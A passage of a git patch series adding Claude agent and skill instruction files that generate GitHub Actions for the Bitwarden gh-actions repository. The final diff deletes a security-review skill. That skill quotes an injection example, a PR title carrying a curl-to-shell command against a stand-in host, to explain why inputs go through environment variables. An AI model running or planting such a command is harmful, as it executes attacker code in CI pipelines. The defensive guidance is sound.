inputs, outputs, usage examples, documentation - {action-name}/src/main.ts -- (TypeScript only) full implementation - {action-name}/main.py -- (Docker only) full implementation - .github/workflows/test-{action-name}.yml -- test scenarios and assertions diff --git a/.claude/skills/scaffold-action.md b/.claude/skills/scaffold-action.md index 2a322b060..71d8552f9 100644 --- a/.claude/skills/scaffold-action.md +++ b/.claude/skills/scaffold-action.md @@ -245,36 +245,53 @@ jobs: ### Step 7: Generate README.md -Create `{action-name}/README.md`: +Create `{action-name}/README.md` with section headings and TODO placeholders. The scaffold defines the structure; `implement-action` populates it later. + +**Required sections** (always include): ```markdown # {Action Name} {description from SPEC.md} -## Usage - -\`\`\`yaml -- name: {Action Name} - uses: bitwarden/gh-actions/{action-name}@main - with: - # Required inputs - input_name: "value" -\`\`\` - ## Inputs | Name | Description | Required | Default | |------|-------------|----------|---------| -| ... | ... | ... | ... | + ## Outputs | Name | Description | |------|-------------| -| ... | ... | + + +## Usage + + + +``` + +**Conditional sections** (include based on SPEC.md): + +```markdown +## Features + + +## Prerequisites + + +## Permissions + + +## Development + ``` +**Section ordering**: Title → Description → Features (if applicable) → Inputs → Outputs → Prerequisites (if applicable) → Usage → Permissions (if applicable) → Development (if applicable) + +Only include conditional sections whose TODO markers will be fulfillable based on SPEC.md. Do not include empty conditional sections. + ### Step 8: Report Results List all files created with their paths. Example: From 750b8ef420ddc11a8ad7de11d20082df4e66490a Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 18:14:43 -0400 Subject: [PATCH 12/31] agent-printer validation of action-generator --- .claude/agents/action-generator.md | 40 +++++++++++++++++++++--------- 1 file changed, 28 insertions(+), 12 deletions(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index d4676b776..d54d3143a 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -1,8 +1,8 @@ --- name: action-generator -description: "Orchestrates the phased generation of a new custom GitHub Action. Delegates to focused skills for each phase: define, scaffold, implement, evaluate, validate." +description: "Orchestrates the generation of a new custom GitHub Action for the Bitwarden gh-actions repository. Delegates to focused skills across 5 phases: define, scaffold, implement, evaluate, validate." tools: - - Bash + - Bash(ls:*) - Edit - Glob - Grep @@ -24,6 +24,23 @@ You are the orchestrating agent for creating new custom GitHub Actions in the Bi - You communicate progress to the user between phases. - You make judgment calls about whether to proceed, loop back, or ask the user. +## Core Principles + +1. **Delegate, never implement.** Every phase is owned by a skill. You invoke skills, verify their output, and manage flow. You do not write action code, fix linter issues, or populate documentation yourself. +2. **Gate on decisions, not on mechanics.** Present artifacts to the user only when a human judgment call is needed. Do not gate on deterministic or auto-fixable work. +3. **Fail loud, never silent.** If a skill produces incomplete output or a phase fails verification, stop and address it. Never silently skip a phase or proceed with known Critical issues. +4. **Propagate context explicitly.** Pass the action name and relevant context to every skill invocation. When looping back to a phase after failures, include the specific issues to address alongside the action name. + +## Action Name Propagation + +After Phase 1 completes, extract the action name from the SPEC.md `Overview` section. Use it as the argument for every subsequent skill invocation: +- `scaffold-action {action-name}` +- `implement-action {action-name}` +- `evaluate-action {action-name}` +- `validate-action {action-name}` + +All file paths use this name: `{action-name}/action.yml`, `.github/workflows/test-{action-name}.yml`, etc. + ## Review Gates Review gates are flow control checkpoints where you present an artifact to the user and collect approval before proceeding. Gates are your responsibility as the orchestrator — no skill handles them. @@ -85,7 +102,8 @@ Invoke the `scaffold-action` skill. - `{action-name}/README.md` - `.github/workflows/test-{action-name}.yml` - Type-specific files (check SPEC.md for action type): - - TypeScript: `package.json`, `tsconfig.json`, `src/main.ts` + - Composite: no additional files required + - TypeScript: `package.json`, `tsconfig.json`, `src/main.ts`, `.gitignore` - Docker: `Dockerfile`, `main.py` If any expected file is missing, re-invoke the skill. @@ -144,15 +162,13 @@ Keep updates concise — one or two sentences per transition. Do not repeat info After all 5 phases complete successfully: -1. **Clean up**: Delete `{action-name}/SPEC.md` — it is an internal artifact that has served its purpose. The action's authoritative documentation is action.yml, README.md, and the code itself. - -2. **Final architecture diagram**: Read the implemented action files (action.yml, implementation code) and generate a final ASCII architecture diagram reflecting what was actually built. This replaces the draft diagram from SPEC.md — it should show actual step names, real integration calls, and implemented error handling paths. Use box-drawing characters (`┌ ─ ┐ │ └ ┘ ├ ┤ ┬ ┴ ┼ ▼ ▶`) for clean rendering. - -3. **Summary**: Provide a final report: +1. **Summary**: Provide a final report: - Action name and type - - Final architecture diagram - Files created (list all) - Key implementation details - - Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") - - Remind the user to run the test workflow after merging - - Note that security review will occur during the PR process via existing review tooling + - Recommendations for manual follow-up: + - Delete `{action-name}/SPEC.md` — internal artifact, no longer needed + - Add any required secrets to the test repository + - Submit the action for approval in the workflow linter's approved actions list if other workflows will reference it + - Run the test workflow after merging + - Security review will occur during the PR process via existing review tooling From 68a2f4710b61e9d9c31fa238357de9fdb495e1b3 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 12:00:56 -0400 Subject: [PATCH 13/31] replace hardcoded absolute paths in skills --- .claude/skills/define-action.md | 8 ++++---- .claude/skills/evaluate-action.md | 2 +- .claude/skills/implement-action.md | 2 +- .claude/skills/validate-action.md | 14 +++++++------- 4 files changed, 13 insertions(+), 13 deletions(-) diff --git a/.claude/skills/define-action.md b/.claude/skills/define-action.md index 7571bccda..4c9a28717 100644 --- a/.claude/skills/define-action.md +++ b/.claude/skills/define-action.md @@ -33,7 +33,7 @@ The skill accepts an optional action name as an argument. If provided, it pre-fi ### Step 1: Validate Name (if provided) If an action name was provided as an argument: -1. Use `ls /Users/tyler/dev/gh-actions/` to verify the name does not conflict with an existing directory. +1. Use `ls` in the repository root to verify the name does not conflict with an existing directory. 2. Validate the name is kebab-case (lowercase letters, numbers, hyphens only). 3. If the name conflicts or is invalid, report the issue and ask for a corrected name. @@ -71,13 +71,13 @@ Gather all of the following in as few rounds as possible. Present the full list ### Step 3: Confirm and Validate -1. Use `ls /Users/tyler/dev/gh-actions/` to verify the action name does not conflict with an existing directory. +1. Use `ls` in the repository root to verify the action name does not conflict with an existing directory. 2. Use `Glob` with pattern `*/action.yml` to list existing actions for reference. 3. Summarize all collected requirements back to the user in a structured format. Ask the user to confirm or correct before writing. ### Step 4: Write SPEC.md -1. Run `mkdir -p /Users/tyler/dev/gh-actions/{action-name}` to create the action directory. +1. Run `mkdir -p {action-name}` to create the action directory. 2. Generate an ASCII architecture diagram for the `## Architecture Diagram` section. The diagram should show: - All inputs flowing into the action (mark sensitive inputs) - Processing steps in execution order (validation → core logic → output setting) @@ -85,7 +85,7 @@ Gather all of the following in as few rounds as possible. Present the full list - All outputs flowing out - Error/failure paths where applicable - Use box-drawing characters (`┌ ─ ┐ │ └ ┘ ├ ┤ ┬ ┴ ┼ ▼ ▶`) for clean rendering -3. Write `SPEC.md` to `/Users/tyler/dev/gh-actions/{action-name}/SPEC.md` using the template below. +3. Write `SPEC.md` to `{action-name}/SPEC.md` using the template below. ## Output Format diff --git a/.claude/skills/evaluate-action.md b/.claude/skills/evaluate-action.md index 81e039049..a516f4e6b 100644 --- a/.claude/skills/evaluate-action.md +++ b/.claude/skills/evaluate-action.md @@ -29,7 +29,7 @@ The directory must contain `SPEC.md`, `action.yml`, implementation files, and a ### Step 1: Validate Prerequisites -1. Run `ls /Users/tyler/dev/gh-actions/{action-name}/` to confirm the directory exists. +1. Run `ls {action-name}/` to confirm the directory exists. 2. If the directory does not exist, stop and report: "Directory {action-name}/ not found. Run define-action and scaffold-action first." 3. Read `{action-name}/SPEC.md` for the full requirements specification. 4. If SPEC.md does not exist, stop and report: "No SPEC.md found in {action-name}/. Run define-action first." diff --git a/.claude/skills/implement-action.md b/.claude/skills/implement-action.md index 18c972964..146b93109 100644 --- a/.claude/skills/implement-action.md +++ b/.claude/skills/implement-action.md @@ -31,7 +31,7 @@ The directory must already contain `SPEC.md` and scaffolded files with TODO plac ### Step 1: Validate Prerequisites -1. Run `ls /Users/tyler/dev/gh-actions/{action-name}/` to confirm the directory exists. +1. Run `ls {action-name}/` to confirm the directory exists. 2. If the directory does not exist, stop and report: "Directory {action-name}/ not found. Run define-action and scaffold-action first." 3. Read `{action-name}/SPEC.md` for the full requirements specification. 4. If SPEC.md does not exist, stop and report: "No SPEC.md found in {action-name}/. Run define-action first." diff --git a/.claude/skills/validate-action.md b/.claude/skills/validate-action.md index d9bb1d9a8..7cc5ed0fa 100644 --- a/.claude/skills/validate-action.md +++ b/.claude/skills/validate-action.md @@ -30,7 +30,7 @@ The directory must contain `action.yml` and implementation files. A test workflo ### Step 1: Validate Prerequisites -1. Run `ls /Users/tyler/dev/gh-actions/{action-name}/` to confirm the directory exists. +1. Run `ls {action-name}/` to confirm the directory exists. 2. If the directory does not exist, stop and report: "Directory {action-name}/ not found." 3. Read `{action-name}/action.yml`. If it does not exist, stop and report: "No action.yml found in {action-name}/. Run scaffold-action first." 4. Determine the action type from the `runs.using` field in action.yml (composite, node24, docker). @@ -40,14 +40,14 @@ The directory must contain `action.yml` and implementation files. A test workflo Run Prettier to check all action files and the test workflow: ```bash -npx prettier --check "/Users/tyler/dev/gh-actions/{action-name}/**" -npx prettier --check "/Users/tyler/dev/gh-actions/.github/workflows/test-{action-name}.yml" +npx prettier --check "{action-name}/**" +npx prettier --check ".github/workflows/test-{action-name}.yml" ``` If any files fail the check, fix them: ```bash -npx prettier --write "/Users/tyler/dev/gh-actions/{action-name}/**" -npx prettier --write "/Users/tyler/dev/gh-actions/.github/workflows/test-{action-name}.yml" +npx prettier --write "{action-name}/**" +npx prettier --write ".github/workflows/test-{action-name}.yml" ``` Record each file that required formatting as a Low finding. @@ -133,8 +133,8 @@ Process all findings from Steps 2-5: 3. **Low** issues: Do not fix. Set status to "Noted." 4. After all fixes, re-run Prettier to ensure fixed files are properly formatted: ```bash - npx prettier --write "/Users/tyler/dev/gh-actions/{action-name}/**" - npx prettier --write "/Users/tyler/dev/gh-actions/.github/workflows/test-{action-name}.yml" + npx prettier --write "{action-name}/**" + npx prettier --write ".github/workflows/test-{action-name}.yml" ``` ### Step 7: Report Results From 9b214872f82b2b2927cd6c7b34c8117f0c4e9fc6 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 12:03:48 -0400 Subject: [PATCH 14/31] agent add re-entry point for pipeline --- .claude/agents/action-generator.md | 39 ++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index d54d3143a..676a2f4c8 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -41,6 +41,43 @@ After Phase 1 completes, extract the action name from the SPEC.md `Overview` sec All file paths use this name: `{action-name}/action.yml`, `.github/workflows/test-{action-name}.yml`, etc. +## Pipeline Re-entry + +Before starting Phase 1, check if the user provided an action name (via arguments or initial request). If so, check for existing artifacts to determine whether to resume a previous run. + +**Detection steps:** + +1. If no action name was provided, skip re-entry detection and start Phase 1 normally. +2. If an action name was provided, run `ls {action-name}/` to check if the directory exists. +3. If the directory does not exist, start Phase 1 normally. +4. If the directory exists, check for artifacts using `ls`: + - Does `{action-name}/SPEC.md` exist? + - Does `{action-name}/action.yml` exist? + - Does `.github/workflows/test-{action-name}.yml` exist? + +**Present findings and ask:** + +If any artifacts exist, present what was found to the user: + +``` +Found existing artifacts for {action-name}: + - SPEC.md: {yes/no} + - action.yml: {yes/no} + - Test workflow: {yes/no} + - Implementation files: {list any .ts, .py, or shell steps} + +Resume from where you left off, or start fresh? +``` + +- **If resume**: Determine the starting phase from the artifact state: + - SPEC.md only → present SPEC.md at the review gate, then Phase 2 + - SPEC.md + scaffolded files with TODOs → Phase 3 + - SPEC.md + implemented files (no TODOs) → Phase 4 + - SPEC.md + evaluation results in SPEC.md → Phase 5 +- **If start fresh**: Proceed from Phase 1. Existing files will be overwritten by each phase. + +**Keep it simple:** This is a single check at startup, not a state machine. If the artifact state is ambiguous, ask the user rather than guessing. + ## Review Gates Review gates are flow control checkpoints where you present an artifact to the user and collect approval before proceeding. Gates are your responsibility as the orchestrator — no skill handles them. @@ -69,6 +106,8 @@ Execute phases in order. After each phase, verify the phase completed successful ### Phase 1: Define Requirements +Skip this phase if re-entry detection determined a later starting phase. + Invoke the `define-action` skill. **Verification**: Confirm `{action-name}/SPEC.md` exists and contains all required sections (Overview, Inputs, Outputs, Integrations, Behavior). If incomplete, re-invoke the skill with guidance on what's missing. From bf1423bc954907080bb2391bbe662e42c72a4e47 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 12:28:28 -0400 Subject: [PATCH 15/31] skills remove branding requirements --- .claude/skills/scaffold-action.md | 3 --- .claude/skills/validate-action.md | 3 +-- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/.claude/skills/scaffold-action.md b/.claude/skills/scaffold-action.md index 71d8552f9..bd55afee6 100644 --- a/.claude/skills/scaffold-action.md +++ b/.claude/skills/scaffold-action.md @@ -63,9 +63,6 @@ Create `{action-name}/action.yml` with: name: "{Action Name}" description: "{description from SPEC.md}" author: "Bitwarden" -branding: - icon: shield - color: blue inputs: # From SPEC.md - each input with description, required, and default diff --git a/.claude/skills/validate-action.md b/.claude/skills/validate-action.md index 7cc5ed0fa..4daaf27ec 100644 --- a/.claude/skills/validate-action.md +++ b/.claude/skills/validate-action.md @@ -59,14 +59,13 @@ Read `{action-name}/action.yml` and verify all required fields. Use `Grep` to se - [ ] `name` -- present and descriptive - [ ] `description` -- present and descriptive - [ ] `author` -- set to `"Bitwarden"` -- [ ] `branding` -- has both `icon` and `color` properties - [ ] `inputs` -- each input has `description` and `required` fields - [ ] `outputs` -- each output has `description`; for composite actions, each also has `value` - [ ] `runs` -- has correct `using` value for the action type (`composite`, `node24`, or `docker`) **Severity for missing fields:** - Missing `name`, `description`, or `runs`: **Critical** -- Missing `author` or `branding`: **Medium** +- Missing `author`: **Medium** - Input/output missing `description` or `required`: **High** - Composite output missing `value` reference: **Critical** From 09caaca04ba1d346f47b268c73fc489d2c84b8a2 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 12:28:48 -0400 Subject: [PATCH 16/31] agent linting suggestions --- .claude/agents/action-generator.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index 676a2f4c8..3f6006db1 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -211,3 +211,6 @@ After all 5 phases complete successfully: - Submit the action for approval in the workflow linter's approved actions list if other workflows will reference it - Run the test workflow after merging - Security review will occur during the PR process via existing review tooling + - Optional local validation (not required, but can catch issues before pushing): + - `yamllint` — validates generic YAML syntax. Install: `pip install yamllint`. Run: `yamllint {action-name}/action.yml` + - `bwwl` (Bitwarden Workflow Linter) — validates workflow syntax, expressions, and Bitwarden-specific rules (includes actionlint). Install: `pip install bitwarden_workflow_linter`. Run: `bwwl lint -f .github/workflows/test-{action-name}.yml` From 8709e13b32766e6a52711702482cbe41f4adee49 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 14:28:26 -0400 Subject: [PATCH 17/31] fixup agent model and rm skill from tools --- .claude/agents/action-generator.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index 3f6006db1..c640dd0e9 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -1,6 +1,7 @@ --- name: action-generator description: "Orchestrates the generation of a new custom GitHub Action for the Bitwarden gh-actions repository. Delegates to focused skills across 5 phases: define, scaffold, implement, evaluate, validate." +model: opus tools: - Bash(ls:*) - Edit @@ -8,7 +9,6 @@ tools: - Grep - Read - Write - - Skill - AskUserQuestion --- From 276d0f33b39a9a149f72f5b0e90e47c0042d942f Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 14:32:52 -0400 Subject: [PATCH 18/31] convert claude command into claude skill During testing, claude commands weren't detected within an existing project or a new project. --- .../generate-action.md => skills/generate-action/SKILL.md} | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) rename .claude/{commands/generate-action.md => skills/generate-action/SKILL.md} (75%) diff --git a/.claude/commands/generate-action.md b/.claude/skills/generate-action/SKILL.md similarity index 75% rename from .claude/commands/generate-action.md rename to .claude/skills/generate-action/SKILL.md index 318a7b0b3..8bf8873c4 100644 --- a/.claude/commands/generate-action.md +++ b/.claude/skills/generate-action/SKILL.md @@ -1,7 +1,11 @@ --- -description: Generate a new custom GitHub Action with full compliance and security checks +name: generate-action +description: "Generate a new custom GitHub Action with full compliance and security checks. Orchestrates define, scaffold, implement, evaluate, and validate phases via the action-generator agent." +argument-hint: "[action-name-or-description]" --- +# Generate Action + You are creating a new custom GitHub Action for the Bitwarden `gh-actions` repository. This is a phased, AI-powered workflow that will guide you through the entire process: From d5653b6c079786961be1c8e50ead5a05f37b378b Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 15:47:17 -0400 Subject: [PATCH 19/31] skills converted into SKILL.md spec --- .../SKILL.md} | 0 .../SKILL.md} | 0 .../SKILL.md} | 0 .../references/readme-specfication.md | 211 ++++++++++++++++++ .../SKILL.md} | 0 .../SKILL.md} | 0 .../SKILL.md} | 0 7 files changed, 211 insertions(+) rename .claude/skills/{define-action.md => define-action/SKILL.md} (100%) rename .claude/skills/{evaluate-action.md => evaluate-action/SKILL.md} (100%) rename .claude/skills/{implement-action.md => implement-action/SKILL.md} (100%) create mode 100644 .claude/skills/implement-action/references/readme-specfication.md rename .claude/skills/{scaffold-action.md => scaffold-action/SKILL.md} (100%) rename .claude/skills/{secure-action.md => secure-action/SKILL.md} (100%) rename .claude/skills/{validate-action.md => validate-action/SKILL.md} (100%) diff --git a/.claude/skills/define-action.md b/.claude/skills/define-action/SKILL.md similarity index 100% rename from .claude/skills/define-action.md rename to .claude/skills/define-action/SKILL.md diff --git a/.claude/skills/evaluate-action.md b/.claude/skills/evaluate-action/SKILL.md similarity index 100% rename from .claude/skills/evaluate-action.md rename to .claude/skills/evaluate-action/SKILL.md diff --git a/.claude/skills/implement-action.md b/.claude/skills/implement-action/SKILL.md similarity index 100% rename from .claude/skills/implement-action.md rename to .claude/skills/implement-action/SKILL.md diff --git a/.claude/skills/implement-action/references/readme-specfication.md b/.claude/skills/implement-action/references/readme-specfication.md new file mode 100644 index 000000000..748a19576 --- /dev/null +++ b/.claude/skills/implement-action/references/readme-specfication.md @@ -0,0 +1,211 @@ +# README Specification + +Reference structure for GitHub Action README files generated by the implement-action skill. Each section below describes what to include and how to format it. + +--- + +## 1. Title and Description + +A level-1 heading with the action name, followed by a one-paragraph summary. + +```markdown +# Action Name + +A brief description of what the action does, who it is for, and the problem it solves. +``` + +**Rules:** +- Title should match the directory name in human-readable form (e.g., `check-permission/` -> `Check Permission Action`). +- Description should be 1-3 sentences. Lead with what the action does, not how. + +--- + +## 2. Features + +A bulleted list of 3-6 key capabilities. Keep each bullet to one line. + +```markdown +## Features + +- **Capability one**: Brief explanation +- **Capability two**: Brief explanation +- **Capability three**: Brief explanation +``` + +**Rules:** +- Bold the capability name, follow with a colon and explanation. +- Only list behaviors the action actually implements — no aspirational features. +- Omit this section if the action does exactly one thing with no notable sub-features. + +--- + +## 3. Inputs + +A markdown table listing every input defined in `action.yml`. + +```markdown +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `input_name` | What this input controls | Yes | - | +| `optional_input` | What this optional input controls | No | `default_value` | +``` + +**Rules:** +- Column order: Input, Description, Required, Default. +- Wrap input names in backticks. +- Use `-` for inputs with no default. +- Wrap default values in backticks. +- List required inputs first, then optional inputs. +- If an input accepts a fixed set of values (enum), list the allowed values in the description (e.g., "Permission level: `admin`, `write`, `read`, `none`"). +- If a group of inputs warrants explanation beyond the table (e.g., failure modes, mutually exclusive options), add a subsection after the table. + +--- + +## 4. Outputs + +A markdown table listing every output defined in `action.yml`. + +```markdown +## Outputs + +| Output | Description | +|--------|-------------| +| `output_name` | What this output contains | +``` + +**Rules:** +- Column order: Output, Description. +- Wrap output names in backticks. +- If outputs carry structured data (JSON), add an "Output JSON Schema" subsection with a fenced code block showing the shape. +- Omit this section entirely if the action has no outputs. + +--- + +## 5. Usage Examples + +One or more fenced YAML code blocks showing how to call the action in a workflow step. + +```markdown +## Usage + +### Basic Usage + +\`\`\`yaml +- name: Step description + id: step-id + uses: bitwarden/gh-actions/{action-name}@main + with: + required_input: ${{ realistic.value }} +\`\`\` +``` + +**Rules:** +- Always include a "Basic Usage" example showing all required inputs with realistic values. +- Add additional named examples for each distinct mode, configuration, or integration pattern the action supports. +- Use realistic GitHub Actions context expressions (`${{ github.* }}`, `${{ secrets.* }}`, `${{ steps.*.outputs.* }}`), not placeholder strings like `"test"` or `"foo"`. +- If the action produces outputs consumed by later steps, show the downstream usage in the same example. +- For actions with multiple event types or modes, show at least one example per mode. +- Order examples from simplest to most complex. + +--- + +## 6. Supplementary Sections + +Include any of the following sections when relevant to the action. Only include sections that add information not already covered by Inputs/Outputs/Usage. + +### Permissions + +Document the GitHub token permissions the action requires. + +```markdown +## Permissions + +Requires `pull-requests: read` permission. The default `GITHUB_TOKEN` works. + +\`\`\`yaml +permissions: + pull-requests: read +\`\`\` +``` + +### Requirements / Prerequisites + +Document external setup needed before using the action (credentials, tool installation, service configuration). + +```markdown +## Requirements + +### Azure Service Principal + +The Azure service principal must have: +- Read access to the `bitwarden-ci` Key Vault +- Permission to retrieve the `slack-bot-token` secret +``` + +### Dependencies + +List other actions or external services the action depends on. + +```markdown +## Dependencies + +This action uses the following Bitwarden actions: +- `bitwarden/gh-actions/azure-login@main` +- `bitwarden/gh-actions/get-keyvault-secrets@main` + +External dependency: +- `slackapi/slack-github-action@v2.1.0` +``` + +### Behavioral Details + +Sections explaining specific behavior that users need to understand (transformation rules, special cases, event types). Name these sections after the behavior, not generically. + +```markdown +## Tag Generation Rules + +1. **Pull Requests**: Uses the head branch name +2. **Branch Pushes**: Uses the branch name +3. **Sanitization**: + - Converts to lowercase + - Strips leading `v` prefix + +## Examples + +| Input | Output | +|-------|--------| +| `main` | `dev` | +| `Feature/Add-Login` | `feature-add-login` | +``` + +### Development (TypeScript actions only) + +```markdown +## Development + +\`\`\`bash +npm install +npm run build +\`\`\` +``` + +**Rules for supplementary sections:** +- Only include sections that apply to this specific action. +- Order: Permissions, Requirements, Dependencies, behavioral detail sections, Development. +- Do not add a "Troubleshooting" section unless the SPEC.md identifies known failure modes that users will encounter. + +--- + +## Formatting Rules + +These rules apply across the entire README: + +- Use GitHub-flavored markdown. +- Use `##` for top-level sections, `###` for subsections. +- Tables must have aligned columns and use backticks for code values. +- Fenced code blocks must specify a language (`yaml`, `json`, `bash`). +- No trailing whitespace, no multiple consecutive blank lines. +- No emojis in section headings or table cells (emojis are acceptable in body text only when describing UI elements like Slack messages). +- Keep the total README under 200 lines for simple actions, under 300 for complex ones. Brevity over completeness — link to SPEC.md or external docs for deep detail. diff --git a/.claude/skills/scaffold-action.md b/.claude/skills/scaffold-action/SKILL.md similarity index 100% rename from .claude/skills/scaffold-action.md rename to .claude/skills/scaffold-action/SKILL.md diff --git a/.claude/skills/secure-action.md b/.claude/skills/secure-action/SKILL.md similarity index 100% rename from .claude/skills/secure-action.md rename to .claude/skills/secure-action/SKILL.md diff --git a/.claude/skills/validate-action.md b/.claude/skills/validate-action/SKILL.md similarity index 100% rename from .claude/skills/validate-action.md rename to .claude/skills/validate-action/SKILL.md From 22acbb8e098d6675ef554c106a575be2a085bd02 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 15:48:04 -0400 Subject: [PATCH 20/31] agent add color blue --- .claude/agents/action-generator.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index c640dd0e9..79a94939c 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -2,6 +2,7 @@ name: action-generator description: "Orchestrates the generation of a new custom GitHub Action for the Bitwarden gh-actions repository. Delegates to focused skills across 5 phases: define, scaffold, implement, evaluate, validate." model: opus +color: blue tools: - Bash(ls:*) - Edit @@ -9,6 +10,7 @@ tools: - Grep - Read - Write + - Skills - AskUserQuestion --- From 1943ad0e238c9f76a2b6abcef264bc2ee2c500e4 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 15:50:39 -0400 Subject: [PATCH 21/31] define-action skill standarize input presentation --- .claude/skills/define-action/SKILL.md | 60 ++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/.claude/skills/define-action/SKILL.md b/.claude/skills/define-action/SKILL.md index 4c9a28717..6e249249f 100644 --- a/.claude/skills/define-action/SKILL.md +++ b/.claude/skills/define-action/SKILL.md @@ -73,7 +73,65 @@ Gather all of the following in as few rounds as possible. Present the full list 1. Use `ls` in the repository root to verify the action name does not conflict with an existing directory. 2. Use `Glob` with pattern `*/action.yml` to list existing actions for reference. -3. Summarize all collected requirements back to the user in a structured format. Ask the user to confirm or correct before writing. +3. Present all collected requirements using the format below. Ask the user to confirm or correct before writing. + +**Presentation format** — display exactly this structure, filling in collected values: + +``` +───────────────────────────────────────── + {action-name} — Specification Summary +───────────────────────────────────────── + + Type: {composite | typescript | docker} + Description: {one-line description} + Purpose: {why this action exists} + Consumers: {which repos will use this} + Platforms: {ubuntu-only | cross-platform} + Idempotent: {yes | no} + Error mode: {fail fast | skip | degrade} + Permissions: {required GitHub token permissions} + + ┌─ Inputs ────────────────────────────── + │ + │ {name} (required, sensitive) + │ {description} + │ Default: {value} + │ + │ {name} (optional) + │ {description} + │ Default: {value} + │ + └─────────────────────────────────────── + + ┌─ Outputs ───────────────────────────── + │ + │ {name} (sensitive) + │ {description} + │ + │ {name} + │ {description} + │ + └─────────────────────────────────────── + + ┌─ Integrations ──────────────────────── + │ + │ Azure: {details or "None"} + │ GitHub API: {details or "None"} + │ External Services: {details or "None"} + │ Bitwarden Actions: {details or "None"} + │ + └─────────────────────────────────────── + + Notes: {any additional context, edge cases, or blank if none} + +───────────────────────────────────────── +``` + +**Presentation rules:** +- For each input, show parenthetical tags: `(required)`, `(optional)`, `(sensitive)` — combine as needed (e.g., `(required, sensitive)`). +- Omit the `Default:` line for required inputs with no default. +- If there are no inputs, show `│ (none)` inside the Inputs box. Same for Outputs and Integrations. +- After presenting, ask: "Does this look correct? Reply with any changes, or confirm to proceed." ### Step 4: Write SPEC.md From c9e0279150d6ad91919f74e29ad0af6dea509715 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 15:55:31 -0400 Subject: [PATCH 22/31] remove secure-action skill --- .claude/skills/secure-action/SKILL.md | 136 -------------------------- 1 file changed, 136 deletions(-) delete mode 100644 .claude/skills/secure-action/SKILL.md diff --git a/.claude/skills/secure-action/SKILL.md b/.claude/skills/secure-action/SKILL.md deleted file mode 100644 index 85f5b34bf..000000000 --- a/.claude/skills/secure-action/SKILL.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -name: secure-action -description: "Phase 6: Security assessment of a GitHub Action. Checks input sanitization, command injection, secret handling, permissions, and supply chain risks." ---- - -# Secure Action - Phase 6: Security Assessment - -You are performing a security review of a newly created GitHub Action in the Bitwarden `gh-actions` repository. This is the final quality gate before the action is considered ready. - -## Procedure - -### Step 1: Read All Files - -Read every file in the `{action-name}/` directory and the test workflow at `.github/workflows/test-{action-name}.yml`. Also read `{action-name}/SPEC.md` to understand which inputs are sensitive. - -### Step 2: Command Injection Prevention - -**Critical check** — this is the most common vulnerability in GitHub Actions. - -For composite actions, check every `run:` block: -- [ ] No `${{ inputs.* }}` expressions directly in `run:` commands. These MUST go through `env:` blocks. -- [ ] No `${{ github.event.* }}` expressions in `run:` commands (attacker-controlled in PRs). -- [ ] No unquoted variable expansions in bash (e.g., `$VAR` should be `"$VAR"`). -- [ ] No `eval`, backtick command substitution, or `$(...)` on untrusted input. - -**Why**: An attacker can craft a PR title like `"; curl evil.com | sh; echo "` which gets injected into shell commands when `${{ }}` expressions are used inline. - -**Fix pattern** — use environment variables: -```yaml -# BAD - injectable -run: echo "${{ inputs.name }}" - -# GOOD - safe -env: - NAME: ${{ inputs.name }} -run: echo "$NAME" -``` - -For TypeScript actions: -- [ ] No `exec.exec()` or `child_process` calls with unvalidated input -- [ ] If shell commands are needed, inputs are properly escaped - -For Python actions: -- [ ] No `os.system()`, `subprocess.call(shell=True)` with unvalidated input -- [ ] Use `subprocess.run()` with argument lists, not shell strings - -### Step 3: Secret Handling - -- [ ] Inputs marked as sensitive in SPEC.md are never logged, echoed, or printed -- [ ] TypeScript: sensitive values use `core.setSecret(value)` before any output -- [ ] Composite: sensitive values are not in `echo` statements or `::debug::` annotations -- [ ] Python: sensitive values are not in `print()` or logging statements -- [ ] Sensitive outputs are masked before being set -- [ ] No secrets in error messages (a caught exception might contain a secret in its message) - -### Step 4: Input Validation - -- [ ] All inputs are validated before use (type, format, allowed values) -- [ ] File path inputs are validated against directory traversal (`../`, absolute paths) -- [ ] URL inputs are validated for scheme (no `file://`, `javascript:`, etc.) -- [ ] Numeric inputs are validated as actual 